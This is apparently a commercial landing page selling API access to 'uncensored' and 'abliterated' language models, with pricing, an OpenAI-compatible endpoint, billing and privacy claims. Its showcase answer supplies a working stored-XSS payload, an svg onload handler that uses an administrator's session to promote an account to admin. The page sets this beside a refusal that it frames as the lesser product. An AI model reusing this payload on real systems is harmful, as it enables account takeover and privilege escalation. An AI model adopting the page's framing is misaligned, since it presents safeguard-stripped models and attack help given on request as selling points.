NEW Lower prices on Standard and Fast Fast is now faster, up to about 200 tokens/second

Uncensored AI. Chat. Create. Build.

One API for uncensored and abliterated models.
Pay for the tokens your product uses.

Logs

Interactive example · sample activity, not customer data.

Spend$0.0124Prepaid API access
Total tokens24,448Input + output
Requests12All statuses
Success rate91.7%Sample activity

Output tokens · Sample activity

Usage

ModelRequestsSpend
deepseek-v4.1-flash-1017-abliterated4$0.0016
glm-5.3-abliterated4$0.0096
glm-5.3-flash-abliterated4$0.0012
Total12$0.0124
View breakdown ↗

Request history

UTC
OpenAI-compatible APIOpen your console

Technical questions. Detailed answers.

Explore practical examples across security research and model evaluation.

Try in Chat
Prompt

Build a stored-XSS proof of concept for our admin review page. Comments render as raw HTML, inline handlers are allowed, and the role endpoint accepts JSON with the administrator’s session cookie. Promote the seeded review-test account when its comment is opened.

UncensoredLabs

The injected handler runs in the administrator’s origin. Same-origin fetch sends the session cookie, including HttpOnly cookies, with the role-change request:

<svg onload='fetch("/api/admin/users/review-test/role", {
  method: "POST",
  credentials: "same-origin",
  headers: {"Content-Type": "application/json"},
  body: JSON.stringify({role: "admin"})
})'></svg>

The proof is the role transition after opening the comment, with no separate admin action. This depends on the stated rendering and endpoint behavior; it is not a universal payload for every admin panel.

Refusal-style example

I can’t help construct a stored-XSS payload that uses an administrator’s session to elevate another account.

Request declined

Illustrative responses, not a live model comparison.

Uncensored and unfiltered models.

Z.aiGLM-5.3 Abliteratedglm-5.3-abliterated$1.00 / $2.00per 1M input and output tokens
Variant
abliterated
Context
1,048,576 tokens
Capabilities
Text, Streaming, Tool calling
Cached input
$0.15 / 1M
Provider retention
Provider policy applies
Avg. tokens/sec
28.2
TTFT estimate
≈ 0.5 s
Success rate
99.8%
Updated 11/16/26, 6:54:54 AM UTC · 24h request success rate
DeepSeekDeepSeek V4.1 Flash 1017 Abliterateddeepseek-v4.1-flash-1017-abliterated$0.12 / $0.45per 1M input and output tokens
Variant
abliterated
Context
1,048,576 tokens
Capabilities
Text, Streaming, Tool calling, Images
Cached input
$0.02 / 1M
Provider retention
Provider policy applies
Avg. tokens/sec
61
TTFT estimate
≈ 0.3 s
Success rate
99.8%
Updated 11/16/26, 6:55:37 AM UTC · 24h request success rate
Explore the complete catalog

AI for the applications you’re building.

Connect your application

Keep your OpenAI client. Change the base URL, use your key, and choose an approved model.

base_url = "https://uncensoredlabs.dev/v1"
api_key = os.environ["UNCENSOREDLABS_API_KEY"]
OpenAI SDKCustom base URLscURLJavaScriptPython
Read the quickstart

Receive tokens as they arrive

Streaming chat completions, with the same endpoint your existing client expects.

Your appModel
data: {"choices":[{"delta":{"content":"…"}}]}data: {"usage":{}}data: [DONE]
Streaming documentation

Compare your model options

Check context, capabilities, and per-token rates before you switch. Unknown measurements stay unknown.

ModelInput / 1MOutput / 1M
glm-5.3-abliterated$1.00$2.00
deepseek-v4.1-flash-1017-abliterated$0.12$0.45
Compare model details

Keep control of your spending

Prepay your credits. Set key limits. See the tokens and charge behind every request.

ReserveVerify usageSettle
Per tokenInput, cached input, output
PrepaidUsage within available credit
How billing works

Your content stays out of our logs.

Our application servers do not store prompts or responses, or use them to train models.

Privacy policy
  • 0Inference prompts stored on our servers
  • 0Responses in our logs
  • 0Content used for our training

Chat history is saved only in your browser when you opt in. Usage, billing and security metadata are retained. The inference provider’s retention policy applies.

Support tickets separately store the subject and messages you explicitly submit, plus account/ticket identifiers, status and timestamps. Inference content is never copied automatically. Attachments are not accepted.

Works with your stack.

Use your existing OpenAI-compatible tools and SDKs. Set your base URL, add your API key, and choose a model.

View compatibility guide

Choose your package.

One payment. 30 days of usage discounts. No automatic renewal.

Buy credits when you need them.

One-time top-ups from $3. No package required.

Buy credits

Crypto via OxaPay, or manual payment from $25 with a 10% fee.

Developer

$20in non-expiring usage credits
  • 2.5% off token usage for 30 days
  • All models, Chat and API
  • Basic support
Choose Developer

Crypto via OxaPay, or manual payment from $25 with a 10% fee.

Scale

$200in non-expiring usage credits
  • 10% off token usage for 30 days
  • All models, Chat and API
  • High-priority support
Choose Scale

Crypto via OxaPay, or manual payment from $25 with a 10% fee.

Credits do not expire. Discounts start after confirmed payment and last 30 days. Overlapping discounts do not stack.

Pay for your usage. Keep your credits under control.

ModelContextInput / 1MCached / 1MOutput / 1MGet access
GLM-5.3 Abliteratedglm-5.3-abliterated1,048,576$1.000$0.150$2.000Get access
DeepSeek V4.1 Flash 1017 Abliterateddeepseek-v4.1-flash-1017-abliterated1,048,576$0.120$0.019$0.450Get access

Included with your account

One API key for your approved models, streaming, key spending limits, model allowlists, and usage accounting.

Clear accounting

Prices are snapshotted per request. Actual usage settles the final charge. Uncertain usage stays reserved for reconciliation.

One endpoint. Your existing client.

Point your OpenAI SDK at UncensoredLabs.
Use your key and an approved model ID.

We don’t store your prompts or model responses on our application servers. The inference provider’s retention policy applies.

curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
  -H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "glm-5.3-abliterated",
    "messages": [{"role": "user", "content": "Hello, world."}],
    "max_tokens": 256,
    "stream": true
  }'

Frequently asked questions.

How do I connect my application?

Create an account, add prepaid credits, and generate an API key. Set your OpenAI client’s base URL to your UncensoredLabs API domain and choose a model from the approved catalog.

How are tokens billed?

Input, cached input, and output have separate published rates. A request reserves a conservative maximum, then settles against verified usage at its original price. Unused reserved credit is released.

Are prompts or responses stored?

Our servers do not store conversation content. You can save Chat history in this browser by opting in. We retain usage and financial metadata. The inference provider may retain content under its own policy.

Which models can I use?

Six uncensored and abliterated models. See the catalog for prices and limits.

Can I use the service commercially?

Yes. Add credits and use any model in the approved catalog.

Uncensored AI. Chat. Create. Build.

Create an account. Choose your model.
Chat in your browser or connect your app.